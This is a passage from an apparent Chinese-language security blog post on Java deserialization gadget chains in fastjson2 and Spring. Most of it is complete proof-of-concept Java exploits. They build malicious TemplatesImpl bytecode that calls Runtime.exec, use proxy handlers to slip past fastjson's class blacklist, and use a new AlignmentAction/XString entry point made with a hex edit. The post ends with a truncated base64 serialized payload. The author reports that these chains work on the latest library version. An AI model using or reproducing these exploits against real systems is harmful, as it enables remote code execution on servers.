advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行弹出计算机。然后在分析调试的过程中,发现还是和自己分析的过程不一样,重点在BeanUtils#getter()中,如下:

image

这里很容易看出来就是判断这里是否为代理类,如果是的话就获取接口然后再次调用getter方法,当时简单跟了一下以为会判定为false,结果差点就功亏一篑呀,根据调试继续跟进:

跟进isProxyClass()方法:

image

前面会判定为true不奇怪,proxyClassCache变量定义如下:

image

想当然以为containsValue()方法就是看是否包含对应的值,其实并不是,这里会包含,代码比较简单就不跟进了,还是要看类中的代码呀。故这里会进入到if语句中获取对应代理类的接口:

image

后续的过程基本就清楚了,就是让objectClass变为了Templates.class,再次调用getter方法,幸好黑名单里面没有Templates.class,也就对应上了参考文章里说Templates.class没有上黑名单由此想出的这个绕过,然后获取其Method,然后创建fieldWriterMap并调用wirte()方法进行序列化从而触发到JdkDynamicAopProxy类的invoke()方法从而进行命令执行:

image

但是在这里的Proxy.isProxyClass()的判断中,可以注意到这里的if条件。要求interfaces只能为一个,那么我是否可以让interfaces为两个或更多,来让objectClass不会改变,从而在proxy.getClass().getMethods()这里来获取到对应方法并进行后续处理呢,简单尝试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行同样可以弹出计算机。我这里是在接口处加了一个AutoCloseable.class,让接口获取不再是一个:

image

从而在ignore()判断中返回false:

image

从而继续后续调用链的进行来调用到write()方法。所以从这里来看,至少需要同时ban掉Templates和com.sun.proxy.$Proxy0才能完全禁止反序列化调用链的进行,看后面绕过还用不用得到。

经测试到目前最新的2.0.58版本都能使用只有Templates.class的链子打,就看后续会怎么修复吧。

并且后面版本的fastjson的黑名单变成了hash值计算的结果,而且加密逻辑都在代码中有体现。

最后可以用来序列化攻击的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

并且两个接口类的也可以用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class,AutoCloseable.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

ObjectFactoryDelegatingInvocationHandler+JSONObject链

这个类是一个内部类,实现了InvocationHandler和Serializable两个接口,在spring-beans依赖中,而spring-aop中本身就拉入了spring-beans依赖:

image

所以也是可以说spring中都能打的。

跟进这个类的invoke()方法:

image

非常清晰了,只是需要代理类调用getOutputProperties,这个好解决,代理类设置Templates.class接口即可,再看一下是否有可利用的ObjectFactory类,这是一个接口类,但是并没有合适的重写的方法,但是看参考文章,利用了JSONObject类的invoke()方法:

image

这个类也能被代理,跟进它的invoke()方法:

image

先获取方法名,然后方法参数个数,后续跟进的代码应该是如下:

image

可以知道参数个数为0,然后对getter方法进行处理,然后调用get()方法来进行获取值:

image

跟进发现其实就是LinkedHashMap中取值,直接往里面放入一个键值对即可。

最后的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.ObjectFactory;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//第一个JSONObject代理
JSONObject jsonObject0 = new JSONObject();
jsonObject0.put("object",templates);
Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);
//第二个代理
Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
constructor.setAccessible(true);
Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class},(InvocationHandler)constructor.newInstance(proxy0));
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxy1);
//toString
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行在反序列化时弹出计算机,并且调试符合前面的过程。

同样是可以使用两个接口来进行前面所述的利用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import org.springframework.beans.factory.ObjectFactory;
import javax.management.MBeanServer;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
//第一个SONObject代理
JSONObject jsonObject0 = new JSONObject();
jsonObject0.put("object",templates);
Object proxy0 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{ObjectFactory.class},(InvocationHandler)jsonObject0);
//第二个代理
Constructor constructor = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredConstructor(ObjectFactory.class);
constructor.setAccessible(true);
Object proxy1 = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Templates.class,AutoCloseable.class},(InvocationHandler)constructor.newInstance(proxy0));
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxy1);
//toString
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

这样就同样需要ban掉Templates和com.sun.proxy.$Proxy1才能完全限制。

同样在最新版本2.0.58也能打。

非常好的绕过方式,可惜大部分情况应该都是只能在spring下打,当然如参考文章一样,还可以尝试打没ban的类,而不是就磕TemplatesImpl,比如我的c3p0分析文章就有一个反序列化打jndi。

新的反序列化toString入口类

基本说明

在先知文章看到的一个新的入口点:

https://xz.aliyun.com/news/18467

文中提到的链子如下:

1
2
3
4
javax.swing.AbstractAction#readObject ->
javax.swing.AbstractAction#putValue ->
javax.swing.AbstractAction#firePropertyChange ->
com.sun.org.apache.xpath.internal.objects.XString#equals

所以这里只是换了一个入口类而已,但是这里的一个思想非常好,当HashMap、Hashtable、HashSet等类都被ban了可以来用这个类(注意后续链子的类是否被ban,这些都是需要考虑的),但是都绕不开一个点就是XString,先来跟一下基本的链子:

AbstractAction类的readObject()方法:

image

再跟进putValue()方法:

image

再看firePropertyChange()方法:

image

很明显了,这里就是要让oldValue为为String,让newValue为例如JSONObject这种要利用其toString方法的类。

再看writeObject()方法:

image

整个过程都是与arrayTable变量相关的:

image

由于实现了transient,故在writeObject()方法中实现了对这个变量的序列化。并且与反序列化时的putValue()也是对应的。

基本过程已经清楚,现在来尝试构造。

尝试构造

首先可以看到AbstractAction是一个抽象类,不能直接序列化,需要找它的实现类来作为入口点:

image

这里就直接同参考文章一样用AlignmentAction类作为入口,这里应该第二个ActivateLinkAction应该也可以用,具体就到时候看有无黑名单吧。

来看AlignmentAction的构造函数:

image

这里会一直向上传递String类型的nm参数,直到AbstractAction类的“实例化”:

image

NAME变量定义如下:

image

故这里会在实例化时就放进去一个键值对。

这里有一个不得不说的逻辑,且看慢慢道来,先看AbstractAction类的putValue()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public void putValue(String key, Object newValue) {
Object oldValue = null;
if (key == "enabled") {
if (newValue == null || !(newValue instanceof Boolean)) {
newValue = false;
}
oldValue = enabled;
enabled = (Boolean)newValue;
} else {
if (arrayTable == null) {
arrayTable = new ArrayTable();
}
if (arrayTable.containsKey(key))
oldValue = arrayTable.get(key);
// Remove the entry for key if newValue is null
// else put in the newValue for key.
if (newValue == null) {
arrayTable.remove(key);
} else {
arrayTable.put(key,newValue);
}
}
firePropertyChange(key, oldValue, newValue);
}

毫无疑问这里主要的逻辑就是:

1
2
3
arrayTable = new ArrayTable();
arrayTable.put(key,newValue);
firePropertyChange(key, oldValue, newValue);

也就是放入键值对并进行比较的问题。从代码逻辑可以看出,每次putValue后都会调用一次firePropertyChange()方法:

image

这里有一个非常关键的逻辑:**||(逻辑或),也就是只要左边为true,右边就不会再进行计算,整个条件就会被判定为真。所以在序列化前放入键值对无影响,但是反序列化时需要有这个变量,故我在序列化前调用反射修改值**即可,并且什么,还可以防止在序列化前第二次调用putValue()方法放进值时触发euqlas()方法从而弹出计算机,原因很好理解了就不多说了。

跟进changeSupport变量的定义:

image

找到对应的SwingPropertyChangeSupport类:

image

故我反射修改变量changeSupport为这个类实例即可。

并且在putValue()方法的代码逻辑中,可以看到要是newValue == null,arrayTable就会删除对应的键值对,所以其实虽然“实例化”时放入了一个键值对,我们这里通过调用putValue("Name",null)直接删除即可。

故可以简单尝试构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javax.xml.transform.Templates;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.text.StyledEditorKit;
import javax.swing.event.SwingPropertyChangeSupport;
import java.util.HashMap;
public class Main{
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
XString xstring = new XString("fupanc1233");
StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
alignmentAction.putValue("Name",null);
alignmentAction.putValue("fupanc1",xstring);
alignmentAction.putValue("fupanc2",jsonObject);
//任意可序列化的类作为参数都行
HashMap hashMap = new HashMap();
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);
setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(alignmentAction);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
}
field.setAccessible(true);
field.set(obj, value);
}
}

未成功,打断点调试一下,发现是我想当然了,主要问题点存在这里:

image

从调试过程看,确实成功放入了两个键值对,但是在第二次调用putValue()方法时,如图可见oldValue的值竟然为null,这一部分确实是我之前疏忽的,这里的oldValue取值的get(key)的key是和newValue的key是一样的,所以导致在反序列化时并没有对应的值而使得oldValue值为null,但是我们并不能在序列化前放入key相同的两个键值对,简单跟进Arraytable类的put()方法:

image

很容易知道如果key重复就会入上面方框的代码会让先放进的值被覆盖掉,否则就是下面这个可以放进去两个值。

但是师傅给出了一个非常妙的思路,就是先像前面一样放进去两个值,然后再在16进制编辑器里修改第一个键值对的key为第二个键值对的key(尝试过直接修改文件,会报格式错误,所以还是用编辑器来改吧)。并且再看一下反序列化流程,是完全可行的:

image

虽然在调用arrayTable.put()还是会覆盖,但是我们已经获取到了oldValue,也就是可控的XString类实例,那么这里在调用firePropertyChange就完全符合前面的链子了,所以最后的payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javax.xml.transform.Templates;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.aop.framework.AdvisedSupport;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import com.sun.org.apache.xpath.internal.objects.XString;
import javax.swing.text.StyledEditorKit;
import javax.swing.event.SwingPropertyChangeSupport;
import java.util.HashMap;
public class Main{
public static void main(String[] args) throws Exception {
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class);
cons.setAccessible(true);
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(templates);
InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport);
Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler);
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", proxyObj);
XString xstring = new XString("text");
StyledEditorKit.AlignmentAction alignmentAction = new StyledEditorKit.AlignmentAction("123",1);
alignmentAction.putValue("Name",null);
alignmentAction.putValue("fupanc1",xstring);
alignmentAction.putValue("fupanc2",jsonObject);
//任意可序列化的类作为参数都行
HashMap hashMap = new HashMap();
SwingPropertyChangeSupport swingPropertyChangeSupport = new SwingPropertyChangeSupport(hashMap);
setFieldValue(alignmentAction,"changeSupport", swingPropertyChangeSupport);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(alignmentAction);
out.close();
// ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
// in.readObject();
// in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Class<?> clazz = obj.getClass();
Field field = null;
while (clazz != null) {
try {
field = clazz.getDeclaredField(fieldName);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException("Field '" + fieldName + "' not found in class hierarchy.");
}
field.setAccessible(true);
field.set(obj, value);
}
}

然后使用编辑器将生成的ser.ser文件的31改成32,即1=>2:

image

然后就可以愉快的反序列化弹计算机了:

image

是一个非常好的思路,还可以先正常生成两个键值对,然后再通过编辑器修改成想要的值,达到既定的效果

最后贴一个mac环境下的paylaod验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Main {
public static void main(String[] args) throws Exception {
// byte[] data = Files.readAllBytes(Paths.get("ser.ser"));
// System.out.println(Base64.getEncoder().encodeToString(data));
String payload = "rO0ABXNyADBqYXZheC5zd2luZy50ZXh0LlN0eWxlZEVkaXRvcktpdCRBbGlnbm1lbnRBY3Rpb27M5wk51R8KdgIAAUkAAWF4cgAxamF2YXguc3dpbmcudGV4dC5TdHlsZWRFZGl0b3JLaXQkU3R5bGVkVGV4dEFjdGlvbkI5NbOb1VOkAgAAeHIAG2phdmF4LnN3aW5nLnRleHQuVGV4dEFjdGlvbgCrKNni9WB8AgAAeHIAGmphdmF4LnN3aW5nLkFic3RyYWN0QWN0aW9u1UAlM9YyWOUDAAJaAAdlbmFibGVkTAANY2hhbmdlU3VwcG9ydHQALkxqYXZheC9zd2luZy9ldmVudC9Td2luZ1Byb3BlcnR5Q2hhbmdlU3VwcG9ydDt4cAFzcgAsamF2YXguc3dpbmcuZXZlbnQuU3dpbmdQcm9wZXJ0eUNoYW5nZVN1cHBvcnRjZsI+j4MRjAIAAVoAC25vdGlmeU9uRURUeHIAIGphdmEuYmVhbnMuUHJvcGVydHlDaGFuZ2VTdXBwb3J0WNXSZFdIYLsDAANJACpwcm9wZXJ0eUNoYW5nZVN1cHBvcnRTZXJpYWxpemVkRGF0YVZlcnNpb25MAAhjaGlsZHJlbnQAFUxqYXZhL3V0aWwvSGFzaHRhYmxlO0wABnNvdXJjZXQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAnBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHhweAB3BAAAAAJ0AAdmdXBhbmMyc3IAMWNvbS5zdW4ub3JnLmFwYWNoZS54cGF0aC5pbnRlcm5hbC5vYmplY3RzLlhTdHJpbmccCic7SBbF/QIAAHhyADFjb20uc3VuLm9yZy5hcGFjaGUueHBhdGguaW50ZXJuYWwub2JqZWN0c